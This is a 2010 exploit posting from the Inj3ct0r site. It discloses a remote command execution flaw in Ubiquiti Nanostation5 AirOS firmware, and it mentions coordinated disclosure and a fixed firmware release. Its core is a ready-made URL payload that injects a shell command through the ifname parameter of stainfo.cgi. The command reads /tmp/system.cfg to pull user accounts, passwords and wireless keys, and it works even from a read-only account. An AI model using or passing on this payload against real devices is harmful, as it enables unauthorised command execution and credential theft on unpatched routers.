Ubiquity Nanostation5 (Air OS) 0day Remote Command Execution
Posted on 01 July 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Ubiquity Nanostation5 (Air OS) 0day Remote Command Execution</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>============================================================ Ubiquity Nanostation5 (Air OS) 0day Remote Command Execution ============================================================ # Exploit Title: Ubiquity Nanostation5 (Air OS) 0day Remote Command Execution # Date: 01 07 2010 # Author: Emanuele 'emgent' Gentili # Software Link: N/A # Version: AirOS all firmwares # CVE : N/A [+] Vulnerability Descrition With not privileged account, like read-only, an attacker is able to execute commands into the system via web application panel. Knowing that the system.cfg file is located in /tmp/ directory, will be simple read the content (like users, password, wireless key ecc.). The vulnerable function is about "Show AP info", that is located in the main page of web panel in the section "Extra Informations". [+] The Remote Command Execution string http://router_ip/stainfo.cgi?ifname=eth0;cat%20/tmp/system.cfg|grep%20users [+] Responsible Disclosure After some mail with Ubnt QA and Security Team people, the fixed firmware was released. # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-07-01]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>